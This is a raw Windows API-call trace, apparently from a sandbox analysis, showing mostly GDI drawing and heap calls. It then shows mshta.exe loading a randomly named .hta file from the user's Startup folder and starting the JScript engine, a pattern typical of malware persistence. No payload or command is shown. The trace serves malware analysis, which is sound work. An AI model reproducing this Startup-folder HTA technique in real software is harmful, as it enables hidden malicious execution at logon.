[0102.489] MapWindowPoints (in: hWndFrom=0x1013a, hWndTo=0x0, lpPoints=0x1cccd4, cPoints=0x1 | out: lpPoints=0x1cccd4) returned 6881363
[0102.489] GetDeviceCaps (hdc=0xa01025b, index=38) returned 32409
[0102.489] IntersectRect (in: lprcDst=0x1ccd94, lprcSrc1=0x461d2c, lprcSrc2=0x461d1c | out: lprcDst=0x1ccd94) returned 1
[0102.489] IntersectRect (in: lprcDst=0x1ccc70, lprcSrc1=0x461d2c, lprcSrc2=0x461d1c | out: lprcDst=0x1ccc70) returned 1
[0102.489] IntersectRect (in: lprcDst=0x1ccd84, lprcSrc1=0x1ccd84, lprcSrc2=0x1ccc70 | out: lprcDst=0x1ccd84) returned 1
[0102.489] IsRectEmpty (lprc=0x1ccd84) returned 0
[0102.489] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x50) returned 0x48efe0
[0102.490] GetDeviceCaps (hdc=0xa01025b, index=38) returned 32409
[0102.490] GetDeviceCaps (hdc=0x1401007f, index=14) returned 1
[0102.490] GetDeviceCaps (hdc=0x1401007f, index=12) returned 32
[0102.490] GetRegionData (in: hrgn=0xb04021f, nCount=0x0, lpRgnData=0x0 | out: lpRgnData=0x0) returned 0x30
[0102.490] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x30) returned 0x49c138
[0102.490] GetRegionData (in: hrgn=0xb04021f, nCount=0x30, lpRgnData=0x49c138 | out: lpRgnData=0x49c138) returned 0x30
[0102.490] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x4a3f08
[0102.490] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4a3f08 | out: hHeap=0x450000) returned 1
[0102.490] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x49c138 | out: hHeap=0x450000) returned 1
[0102.490] IntersectRect (in: lprcDst=0x1ca3bc, lprcSrc1=0x1ca3bc, lprcSrc2=0x1ca38c | out: lprcDst=0x1ca3bc) returned 1
[0102.490] IntersectRect (in: lprcDst=0x1ca2ec, lprcSrc1=0x1ca2ec, lprcSrc2=0x1ca2bc | out: lprcDst=0x1ca2ec) returned 1
[0102.490] IntersectRect (in: lprcDst=0x1ca1e0, lprcSrc1=0x1ca1e0, lprcSrc2=0x1ca1d0 | out: lprcDst=0x1ca1e0) returned 1
[0102.490] GetObjectType (h=0x1401007f) returned 0x3
[0102.490] GetDeviceCaps (hdc=0x1401007f, index=2) returned 1
[0102.490] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x30) returned 0x49c138
[0102.490] ExtCreateRegion (lpx=0x0, nCount=0x30, lpData=0x49c138) returned 0xb040260
[0102.490] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x49c138 | out: hHeap=0x450000) returned 1
[0102.490] SelectClipRgn (hdc=0x1401007f, hrgn=0xb040260) returned 2
[0102.490] DeleteObject (ho=0xb040260) returned 1
[0102.490] _CIsqrt () returned 0x3f1a027f
[0102.490] _CIsqrt () returned 0x3f1a027f
[0102.494] _CIatan2 () returned 0x20
[0102.494] _CIatan2 () returned 0x20
[0102.494] GetStockObject (i=8) returned 0x1b00016
[0102.494] SelectObject (hdc=0x1401007f, h=0x1b00016) returned 0x1b00017
[0102.494] GetViewportOrgEx (in: hdc=0x1401007f, lppoint=0x1c9fc4 | out: lppoint=0x1c9fc4) returned 1
[0102.494] CreateSolidBrush (color=0xa0a0a0) returned 0x40100214
[0102.494] SelectObject (hdc=0x1401007f, h=0x40100214) returned 0x1900010
[0102.494] UnrealizeObject (h=0x40100214) returned 1
[0102.494] SetBrushOrgEx (in: hdc=0x1401007f, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1
[0102.494] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1
[0102.494] MulDiv (nNumber=2, nNumerator=0, nDenominator=2) returned 0
[0102.495] MulDiv (nNumber=2, nNumerator=0, nDenominator=2) returned 0
[0102.495] MulDiv (nNumber=2, nNumerator=0, nDenominator=2) returned 0
[0102.495] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1
[0102.495] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1
[0102.495] Polygon (hdc=0x1401007f, apt=0x1c9ee8, cpt=6) returned 1
[0102.503] CreateSolidBrush (color=0xffffff) returned 0x51007c0
[0102.503] SelectObject (hdc=0x1401007f, h=0x51007c0) returned 0x40100214
[0102.503] UnrealizeObject (h=0x51007c0) returned 1
[0102.503] SetBrushOrgEx (in: hdc=0x1401007f, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1
[0102.503] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1
[0102.503] MulDiv (nNumber=2, nNumerator=0, nDenominator=2) returned 0
[0102.503] MulDiv (nNumber=2, nNumerator=0, nDenominator=2) returned 0
[0102.503] MulDiv (nNumber=2, nNumerator=0, nDenominator=2) returned 0
[0102.503] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1
[0102.503] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1
[0102.503] Polygon (hdc=0x1401007f, apt=0x1c9ee8, cpt=8) returned 1
[0102.504] CreateSolidBrush (color=0x696969) returned 0xa100215
[0102.504] SelectObject (hdc=0x1401007f, h=0xa100215) returned 0x51007c0
[0102.504] UnrealizeObject (h=0xa100215) returned 1
[0102.504] SetBrushOrgEx (in: hdc=0x1401007f, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1
[0102.504] MulDiv (nNumber=2, nNumerator=2, nDenominator=2) returned 2
[0102.504] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1
[0102.504] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1
[0102.504] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1
[0102.504] MulDiv (nNumber=2, nNumerator=2, nDenominator=2) returned 2
[0102.504] MulDiv (nNumber=2, nNumerator=2, nDenominator=2) returned 2
[0102.504] Polygon (hdc=0x1401007f, apt=0x1c9ee8, cpt=6) returned 1
[0102.504] CreateSolidBrush (color=0xf0f0f0) returned 0x8100210
[0102.504] SelectObject (hdc=0x1401007f, h=0x8100210) returned 0xa100215
[0102.504] UnrealizeObject (h=0x8100210) returned 1
[0102.504] SetBrushOrgEx (in: hdc=0x1401007f, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1
[0102.504] MulDiv (nNumber=2, nNumerator=2, nDenominator=2) returned 2
[0102.505] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1
[0102.505] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1
[0102.505] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1
[0102.505] MulDiv (nNumber=2, nNumerator=2, nDenominator=2) returned 2
[0102.505] MulDiv (nNumber=2, nNumerator=2, nDenominator=2) returned 2
[0102.505] Polygon (hdc=0x1401007f, apt=0x1c9ee8, cpt=8) returned 1
[0102.505] SelectObject (hdc=0x1401007f, h=0x1900010) returned 0x8100210
[0102.505] IntersectRect (in: lprcDst=0x1ca320, lprcSrc1=0x1ca320, lprcSrc2=0x4967a8 | out: lprcDst=0x1ca320) returned 1
[0102.505] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x30) returned 0x49c138
[0102.505] ExtCreateRegion (lpx=0x0, nCount=0x30, lpData=0x49c138) returned 0xc040260
[0102.505] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x49c138 | out: hHeap=0x450000) returned 1
[0102.505] SelectClipRgn (hdc=0x1401007f, hrgn=0xc040260) returned 2
[0102.505] IntersectRect (in: lprcDst=0x1ca0f4, lprcSrc1=0x1ca0f4, lprcSrc2=0x1ca0c4 | out: lprcDst=0x1ca0f4) returned 1
[0102.505] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1ca0e4 | out: lprcDst=0x4967b8) returned 1
[0102.505] IntersectRect (in: lprcDst=0x1c9f30, lprcSrc1=0x1c9f30, lprcSrc2=0x4967a8 | out: lprcDst=0x1c9f30) returned 1
[0102.505] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x44) returned 0x49d768
[0102.505] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x49d768 | out: hHeap=0x450000) returned 1
[0102.505] IntersectRect (in: lprcDst=0x1ca144, lprcSrc1=0x1ca144, lprcSrc2=0x1ca114 | out: lprcDst=0x1ca144) returned 1
[0102.505] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.505] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1ca018 | out: lprcDst=0x4967b8) returned 1
[0102.505] IntersectRect (in: lprcDst=0x1ca018, lprcSrc1=0x1ca018, lprcSrc2=0x4967c8 | out: lprcDst=0x1ca018) returned 1
[0102.505] GetDeviceCaps (hdc=0x1401007f, index=2) returned 1
[0102.505] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x30) returned 0x49c138
[0102.506] ExtCreateRegion (lpx=0x0, nCount=0x30, lpData=0x49c138) returned 0x304020f
[0102.506] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x49c138 | out: hHeap=0x450000) returned 1
[0102.506] SelectClipRgn (hdc=0x1401007f, hrgn=0x304020f) returned 2
[0102.506] DeleteObject (ho=0x304020f) returned 1
[0102.506] SelectObject (hdc=0x1401007f, h=0x51007c0) returned 0x1900010
[0102.506] PatBlt (hdc=0x1401007f, x=2, y=2, w=1060, h=583, rop=0xf00021) returned 1
[0102.507] SelectObject (hdc=0x1401007f, h=0x1900010) returned 0x51007c0
[0102.507] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1ca134 | out: lprcDst=0x4967b8) returned 1
[0102.507] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1ca154 | out: lprcDst=0x4967b8) returned 1
[0102.507] IntersectRect (in: lprcDst=0x1c9ce0, lprcSrc1=0x1c9ce0, lprcSrc2=0x1c9cb0 | out: lprcDst=0x1c9ce0) returned 1
[0102.507] IntersectRect (in: lprcDst=0x496840, lprcSrc1=0x496840, lprcSrc2=0x1c9cd0 | out: lprcDst=0x496840) returned 1
[0102.507] IntersectRect (in: lprcDst=0x1c9e0c, lprcSrc1=0x1c9e0c, lprcSrc2=0x1c9ddc | out: lprcDst=0x1c9e0c) returned 1
[0102.508] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.508] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9dfc | out: lprcDst=0x4967b8) returned 1
[0102.508] DeleteObject (ho=0xc040260) returned 1
[0102.508] GetStockObject (i=15) returned 0x188000b
[0102.508] SelectPalette (hdc=0x1401007f, hPal=0x188000b, bForceBkgd=1) returned 0x188000b
[0102.508] EndPaint (hWnd=0x1013a, lpPaint=0x1cd118) returned 1
[0102.508] MapWindowPoints (in: hWndFrom=0x1013a, hWndTo=0x0, lpPoints=0x1cccd4, cPoints=0x1 | out: lpPoints=0x1cccd4) returned 6881363
[0102.508] DeleteObject (ho=0xb04021f) returned 1
[0102.508] GetCurrentThreadId () returned 0x4e0
[0102.508] GetCurrentThreadId () returned 0x4e0
[0102.509] GetCurrentThreadId () returned 0x4e0
[0102.509] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4900e0 | out: hHeap=0x450000) returned 1
[0102.509] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x493948 | out: hHeap=0x450000) returned 1
[0102.509] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.509] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b17e0 | out: hHeap=0x450000) returned 1
[0102.511] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x24) returned 0x492e68
[0102.511] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xe) returned 0x493948
[0102.511] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x68) returned 0x4ba0f0
[0102.512] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x14) returned 0x4b7de8
[0102.512] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4939a8
[0102.512] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x4a3f08
[0102.512] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4c) returned 0x48ef30
[0102.512] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x493990
[0102.512] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x4bb2b0, Size=0x18) returned 0x4b7e08
[0102.512] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4c) returned 0x48eed8
[0102.512] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x800) returned 0x4b8fb0
[0102.512] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xd0) returned 0x47d878
[0102.512] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.512] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x50) returned 0x48f400
[0102.512] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x48f400 | out: hHeap=0x450000) returned 1
[0102.512] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.512] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x495428, Size=0xe4) returned 0x4b97b8
[0102.512] ParseURLW (in: pcszURL="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", ppu=0x1cf550 | out: ppu=0x1cf550) returned 0x0
[0102.512] IUnknown:AddRef (This=0x47c954) returned 0x3
[0102.512] IInternetSecurityManager:MapUrlToZone (in: This=0x736696bc, pwszUrl="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", pdwZone=0x1cf4f4, dwFlags=0x0 | out: pdwZone=0x1cf4f4*=0xffffffff) returned 0x800c0011
[0102.513] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0102.513] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0102.513] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1
[0102.552] IInternetSecurityManager:ProcessUrlAction (in: This=0x736696bc, pwszUrl="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", dwAction=0x1400, pPolicy=0x1cf4f8, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0 | out: pPolicy=0x1cf4f8*=0x0) returned 0x0
[0102.552] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0102.552] IUnknown:Release (This=0x47c954) returned 0x2
[0102.552] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x493990 | out: hHeap=0x450000) returned 1
[0102.552] ParseURLW (in: pcszURL="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", ppu=0x1cf50c | out: ppu=0x1cf50c) returned 0x0
[0102.552] IUnknown:AddRef (This=0x47c954) returned 0x3
[0102.552] IInternetSecurityManager:MapUrlToZone (in: This=0x736696bc, pwszUrl="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", pdwZone=0x1cf4ac, dwFlags=0x0 | out: pdwZone=0x1cf4ac*=0xffffffff) returned 0x800c0011
[0102.552] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0102.552] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0102.552] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1
[0102.552] IInternetSecurityManager:ProcessUrlAction (in: This=0x736696bc, pwszUrl="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", dwAction=0x1400, pPolicy=0x1cf4b0, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0 | out: pPolicy=0x1cf4b0*=0x0) returned 0x0
[0102.552] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0102.552] IUnknown:Release (This=0x47c954) returned 0x2
[0102.553] ParseURLW (in: pcszURL="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", ppu=0x1cf49c | out: ppu=0x1cf49c) returned 0x0
[0102.553] IUnknown:AddRef (This=0x47c954) returned 0x3
[0102.553] IInternetSecurityManager:MapUrlToZone (in: This=0x736696bc, pwszUrl="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", pdwZone=0x1cf43c, dwFlags=0x0 | out: pdwZone=0x1cf43c*=0xffffffff) returned 0x800c0011
[0102.553] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0102.553] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0102.553] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1
[0102.553] IInternetSecurityManager:ProcessUrlAction (in: This=0x736696bc, pwszUrl="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", dwAction=0x1400, pPolicy=0x1cf440, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0 | out: pPolicy=0x1cf440*=0x0) returned 0x0
[0102.553] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0102.553] IUnknown:Release (This=0x47c954) returned 0x2
[0102.553] CoCreateInstance (in: rclsid=0x1cf48c*(Data1=0xf414c260, Data2=0x6ac0, Data3=0x11cf, Data4=([0]=0xb6, [1]=0xd1, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbb, [6]=0xbb, [7]=0x58)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x732895b4*(Data1=0xbb1a2ae1, Data2=0xa4f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0x20, [2]=0x0, [3]=0x80, [4]=0x5f, [5]=0x2c, [6]=0xd0, [7]=0x64)), ppv=0x1cf448 | out: ppv=0x1cf448*=0x2c40668) returned 0x0
[0102.767] malloc (_Size=0x80) returned 0x6ed940
[0102.767] GetVersion () returned 0x1db10106
[0102.767] __dllonexit () returned 0x74727ecf
[0102.768] __dllonexit () returned 0x74727e9b
[0102.768] __dllonexit () returned 0x74727eb5
[0102.768] __dllonexit () returned 0x74727f70
[0102.769] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x76460000
[0102.770] GetProcAddress (hModule=0x76460000, lpProcName="RegisterTraceGuidsA") returned 0x77b7848f
[0102.770] EtwRegisterTraceGuidsA () returned 0x0
[0102.770] GetProcAddress (hModule=0x76460000, lpProcName="RegisterTraceGuidsA") returned 0x77b7848f
[0102.770] EtwRegisterTraceGuidsA () returned 0x0
[0102.770] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x1cde04, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\mshta.exe" (normalized: "c:\\windows\\syswow64\\mshta.exe")) returned 0x1d
[0102.771] GetProcAddress (hModule=0x76460000, lpProcName="RegOpenKeyExA") returned 0x76474907
[0102.771] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows Script\\Features", ulOptions=0x0, samDesired=0x1, phkResult=0x1cdf28 | out: phkResult=0x1cdf28*=0x0) returned 0x2
[0102.776] GetVersion () returned 0x1db10106
[0102.776] DllGetClassObject (in: rclsid=0x47fe38*(Data1=0xf414c260, Data2=0x6ac0, Data3=0x11cf, Data4=([0]=0xb6, [1]=0xd1, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbb, [6]=0xbb, [7]=0x58)), riid=0x75d2ee84*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1ce714 | out: ppv=0x1ce714*=0x6e13c0) returned 0x0
[0102.776] ??2@YAPAXI@Z () returned 0x6e13c0
[0102.776] JScriptEngine5:IClassFactory:CreateInstance (in: This=0x6e13c0, pUnkOuter=0x0, riid=0x1cf0c0*(Data1=0xbb1a2ae1, Data2=0xa4f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0x20, [2]=0x0, [3]=0x80, [4]=0x5f, [5]=0x2c, [6]=0xd0, [7]=0x64)), ppvObject=0x1ce700 | out: ppvObject=0x1ce700*=0x2c40668) returned 0x0
[0102.776] ??2@YAPAXI@Z () returned 0x2c40668
[0102.776] GetUserDefaultLCID () returned 0x409
[0102.776] GetACP () returned 0x4e4
[0102.776] JScriptEngine5:IUnknown:AddRef (This=0x2c40668) returned 0x2
[0102.776] JScriptEngine5:IUnknown:Release (This=0x2c40668) returned 0x1
[0102.776] JScriptEngine5:IUnknown:Release (This=0x6e13c0) returned 0x0
[0102.777] ??3@YAXPAX@Z () returned 0x1
[0102.777] JScriptEngine5:IUnknown:QueryInterface (in: This=0x2c40668, riid=0x732895b4*(Data1=0xbb1a2ae1, Data2=0xa4f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0x20, [2]=0x0, [3]=0x80, [4]=0x5f, [5]=0x2c, [6]=0xd0, [7]=0x64)), ppvObject=0x1cf3ec | out: ppvObject=0x1cf3ec*=0x2c40668) returned 0x0
[0102.777] JScriptEngine5:IUnknown:Release (This=0x2c40668) returned 0x1
[0102.777] IUnknown:AddRef (This=0x47c954) returned 0x3
[0102.777] IInternetSecurityManager:MapUrlToZone (in: This=0x736696bc, pwszUrl="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", pdwZone=0x1cf35c, dwFlags=0x0 | out: pdwZone=0x1cf35c*=0xffffffff) returned 0x800c0011
[0102.777] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0102.777] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0102.777] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1
[0102.777] IInternetSecurityManager:ProcessUrlAction (in: This=0x736696bc, pwszUrl="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", dwAction=0x1401, pPolicy=0x1cf360, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0 | out: pPolicy=0x1cf360*=0x0) returned 0x0
[0102.777] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0102.777] IUnknown:Release (This=0x47c954) returned 0x2
[0102.779] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x54) returned 0x4a0e48
[0102.779] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4bb3e8
[0102.779] GetCurrentThreadId () returned 0x4e0
[0102.779] ??2@YAPAXI@Z () returned 0x6e13c0
[0102.779] GetCurrentThreadId () returned 0x4e0
[0102.779] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\COM3", ulOptions=0x0, samDesired=0x20019, phkResult=0x1cf288 | out: phkResult=0x1cf288*=0x260) returned 0x0
[0102.779] GetProcAddress (hModule=0x76460000, lpProcName="RegQueryValueExA") returned 0x764748ef
[0102.780] RegQueryValueExA (in: hKey=0x260, lpValueName="COM+Enabled", lpReserved=0x0, lpType=0x1cf27c, lpData=0x1cf280, lpcbData=0x1cf284*=0x4 | out: lpType=0x1cf27c*=0x4, lpData=0x1cf280*=0x1, lpcbData=0x1cf284*=0x4) returned 0x0
[0102.780] GetProcAddress (hModule=0x76460000, lpProcName="RegCloseKey") returned 0x7647469d
[0102.780] RegCloseKey (hKey=0x260) returned 0x0
[0102.780] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x75ce0000
[0102.780] GetProcAddress (hModule=0x75ce0000, lpProcName="CoGetObjectContext") returned 0x75d2632b
[0102.780] LoadLibraryExA (lpLibFileName="ole32.dll", hFile=0x0, dwFlags=0x0) returned 0x75ce0000
[0102.780] GetProcAddress (hModule=0x75ce0000, lpProcName="CoCreateInstance") returned 0x75d29d0b
[0102.780] CoCreateInstance (in: rclsid=0x747123a8*(Data1=0x323, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x747123b8*(Data1=0x146, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1cf284 | out: ppv=0x1cf284*=0x75e26460) returned 0x0
[0102.781] ??2@YAPAXI@Z () returned 0x6efe38
[0102.781] ??_U@YAPAXI@Z () returned 0x6e13f8
[0102.781] ??2@YAPAXI@Z () returned 0x6efec8
[0102.781] ??2@YAPAXI@Z () returned 0x2c40880
[0102.781] ??2@YAPAXI@Z () returned 0x6eff00
[0102.781] GetCurrentThreadId () returned 0x4e0
[0102.781] GetEnvironmentVariableW (in: lpName="JS_PROFILER", lpBuffer=0x1cf228, nSize=0x27 | out: lpBuffer="") returned 0x0
[0102.781] GetCurrentThreadId () returned 0x4e0
[0102.781] IsValidLocale (Locale=0x409, dwFlags=0x1) returned 1
[0102.782] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x1cf298, cchData=6 | out: lpLCData="1252") returned 5
[0102.782] IsValidCodePage (CodePage=0x4e4) returned 1
[0102.782] GetCurrentThreadId () returned 0x4e0
[0102.782] GetCurrentThreadId () returned 0x4e0
[0102.782] CoCreateInstance (in: rclsid=0x747115ec*(Data1=0x6c736db1, Data2=0xbd94, Data3=0x11d0, Data4=([0]=0x8a, [1]=0x23, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xb5, [6]=0x8e, [7]=0x10)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x747115fc*(Data1=0x6c736dc1, Data2=0xab0d, Data3=0x11d0, Data4=([0]=0xa2, [1]=0xad, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xf, [6]=0x27, [7]=0xe8)), ppv=0x2c40854 | out: ppv=0x2c40854*=0x4a4028) returned 0x0
[0102.782] IUnknown:AddRef (This=0x4a4028) returned 0x2
[0102.782] GetCurrentProcessId () returned 0x4dc
[0102.782] GetCurrentThreadId () returned 0x4e0
[0102.782] GetTickCount () returned 0x11319e7
[0102.782] ISystemDebugEventFire:BeginSession (This=0x4a4028, guidSourceID=0x747116d4, strSessionName="JScript:00001244:00001248:18029031") returned 0x0
[0102.782] GetCurrentThreadId () returned 0x4e0
[0102.782] GetCurrentThreadId () returned 0x4e0
[0102.782] ??2@YAPAXI@Z () returned 0x6eff68
[0102.784] GetCurrentThreadId () returned 0x4e0
[0102.784] StrCmpICW (pszStr1="window", pszStr2="window") returned 0
[0102.784] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x14) returned 0x4b7e28
[0102.784] CoGetObjectContext (in: riid=0x74710270*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1cf1f4 | out: ppv=0x1cf1f4*=0x4772d0) returned 0x0
[0102.784] ??2@YAPAXI@Z () returned 0x6effa0
